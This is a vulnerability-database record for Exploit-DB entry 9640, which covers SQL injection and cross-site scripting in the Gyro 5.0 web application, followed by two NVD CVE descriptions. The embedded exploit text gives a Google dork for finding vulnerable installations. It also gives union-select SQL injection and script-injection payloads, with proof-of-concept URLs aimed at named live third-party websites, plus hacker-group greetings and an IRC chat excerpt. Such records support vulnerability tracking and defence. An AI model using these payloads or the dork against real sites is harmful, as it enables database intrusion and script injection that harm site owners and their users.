{"id": "EDB-ID:9640", "hash": "71e64c1011de01dd1c7974dfcba2ddc7", "type": "exploitdb", "bulletinFamily": "exploit", "title": "gyro 5.0 sql/XSS Multiple Vulnerabilities", "description": "Gyro 5.0 (SQL/XSS) Multiple Remote Vulnerabilities. CVE-2009-3348,CVE-2009-3349. Webapps exploit for php platform", "published": "2009-09-11T00:00:00", "modified": "2009-09-11T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/9640/", "reporter": "OoN_Boy", "references": [], "cvelist": ["CVE-2009-3349", "CVE-2009-3348"], "lastseen": "2016-02-01T11:02:54", "history": [], "viewCount": 0, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/9640/", "sourceData": "[+]=================================================================[+]\n\t____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ \n\t||A |||n |||t |||i |||S |||c |||e |||r |||u |||t |||i |||y ||\n\t||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||\n\t|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|\n\t------------------------------------------------------------\n\t\t\t\thttp://antisecurity.org\n[+]=================================================================[+]\n\t\t[x]Title : Gyro V5.0 [Sql/Xss] Multiple Remote Vulnerabilities\n\t\t[x]Software : Gyro V5.0\n\t\t[x]Vendor : http://www.datavore.com\n\t\t[x]Date : 11 September 2009 ( Indonesia ) \n\t\t[x]Author : OoN_Boy\n\t\t[x]Contact : oon.boy9@gmail.com\n\t\t[x]Blog : http://oonboy.blogspot.com\n\t\t[x]Website\t: http://oonboy.info\n[+]=================================================================[+]\n\t\t[x] Google Dork\n\n\t\t\"powered by Gyro V5.0\"\n[+]=================================================================[+]\n\t\t[x] Exploit\n\t\thttp://localhost/home?op=cat&cid=[sql]\n\t\thttp://localhost/home?op=cat&cid=[Xss]\n\t\t\n\t\t[x] Proof of concept\n\t\thttp://www.vansda.ca/home?op=cat&cid=29+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14--\n\t\thttp://www.vansda.ca/home?op=cat&cid=29\"><script>alert(123456)</script>\n\t\thttp://www.phpmath.com/home?op=cat&cid=29+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--\n\t\thttp://www.phpmath.com/home?op=cat&cid=29\"><script>alert(123456)</script>\n[+]=================================================================[+]\n [x] Greetz\n\n Antisecurity[dot]Org www.BatamHacker.or.id www.MainHack.com www.ServerIsDown.org - \n\t Vrs-hCk, c0li, h4ntu, Opay, Ipay, Paman, NoGe, H312Y, pizzyroot,\n\t zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia,\n\t str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^\n\n[+]=================================================================[+]\n\t [x] Wew\n\t\t[03:49] <&OoN_Boy> ============================\n\t\t[03:49] <&OoN_Boy> [03:48] <&chawanua> mentang2 dah jadian ama si noge ..\n\t\t[03:49] <&OoN_Boy> [03:48] <&Jack> xixixi\n\t\t[03:49] <&OoN_Boy> [03:48] <&Jack> maap maap\n\t\t[03:49] <&OoN_Boy> [03:48] <&Jack> :D\n\t\t[03:49] <&OoN_Boy> [03:48] <&chawanua> si bob ko tinggalin \n\t\t[03:49] <&OoN_Boy> [03:49] <&Jack> aq homo, begitu jg dirimu\n\t\t[03:49] <&OoN_Boy> ============================\n[+]=================================================================[+]\n ---------===Jangan Ngambek Jack ===---------\n\n# milw0rm.com [2009-09-11]\n", "osvdbidlist": ["58359", "58360"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2017-09-19T13:36:38", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/53194", "http://www.exploit-db.com/exploits/9640"], "description": "SQL injection vulnerability in Datavore Gyro 5.0 allows remote attackers to execute arbitrary SQL commands via the cid parameter in a cat action to the home component.", "edition": 3, "reporter": "NVD", "published": "2009-09-24T12:30:01", "title": "CVE-2009-3349", "type": "cve", "enchantments": {"score": {"modified": "2017-09-19T13:36:38", "vector": "NONE", "value": 7.5}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2009-3349"], "scanner": [], "modified": "2017-09-18T21:29:34", "cpe": ["cpe:/a:datavore:gyro:5.0"], "id": "CVE-2009-3349", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3349", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-09-19T13:36:38", "references": ["http://www.exploit-db.com/exploits/9640", "https://exchange.xforce.ibmcloud.com/vulnerabilities/53195"], "description": "Cross-site scripting (XSS) vulnerability in Datavore Gyro 5.0 allows remote attackers to inject arbitrary web script or HTML via the cid parameter in a cat action to the home component.", "edition": 3, "reporter": "NVD", "published": "2009-09-24T12:30:01", "title": "CVE-2009-3348", "type": "cve", "enchantments": {"score": {"modified": "2017-09-19T13:36:38", "vector": "NONE", "value": 4.3}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2009-3348"], "scanner": [], "modified": "2017-09-18T21:29:34", "cpe": ["cpe:/a:datavore:gyro:5.0"], "id": "CVE-2009-3348", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3348", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}]}